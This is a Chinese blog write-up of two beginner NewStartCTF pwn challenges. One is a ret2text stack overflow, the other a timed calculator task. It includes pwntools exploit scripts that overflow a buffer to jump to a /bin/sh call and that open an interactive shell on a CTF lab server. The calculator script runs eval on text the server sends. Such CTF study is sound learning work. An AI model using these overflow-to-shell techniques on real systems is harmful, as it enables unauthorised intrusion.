NewStartCTF week1 pwn

1|0ret2text


很简单的一道栈溢出题目
image
首先通过checksec查看题目开启了什么保护,只开启了NX,是64位的amd文件拖到ida中查看
image
首先shift+f12查看字串发现,/bin/sh
image
双击跟进发现调用函数的地址:0X400708
image
点击main函数查看反编译代码,发现scanf("%s", v4),栈溢出漏洞
image
双击v4查看内存,需溢出28字节image
payload即为:'a'*0x28 + p64(0x400708) 接下来构造exp:

from pwn import * p = remote('node4.buuoj.cn', 27021) bin_sh = 0x400708 payload = b'a'*0x28 + p64(bin_sh) p.sendline(payload) p.interactive()

拿到flag:image

2|0calc


image
checksec查看什么都开启了,是64位amd文件打开ida看看情况
还是老规矩首先按shift+f12查看字串image发现/bin/sh同样跟进发现函数:
image
调用sub_BE9()这个函数时获得shell权限,查看main函数
image
发现漏洞利用函数sub_CE1();
image

image
通过读取反汇编代码,确定了这是一个计算的程序
image
发现要在三十秒内成功算对一百到题目才可以获得shell
利用python的eval函数可以帮我们计算
接下来构造exp:

from pwn import * p = remote('node4.buuoj.cn',25037) for i in range(100): p.recvuntil('answer?') n = p.recvline().decode() print(n) question = n.strip().split('=')[0] if 'x' in question: question = question.replace('x','*') answer = str(eval(question)) p.sendline(answer) p.interactive()

image
最后拿到flag:image

第二题exp转载自:Anyyy's Blog师傅!
http://www.anyiblog.top/2022/09/25/20220925/


__EOF__

本文作者长不高的李肥肥
本文链接https://www.cnblogs.com/xuanbb9826/p/16731695.html
关于博主:阿源要努力变强
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   长不高的李肥肥  阅读(79)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 零经验选手,Compose 一天开发一款小游戏!
· 因为Apifox不支持离线,我果断选择了Apipost!
· 通过 API 将Deepseek响应流式内容输出到前端
点击右上角即可分享
微信分享提示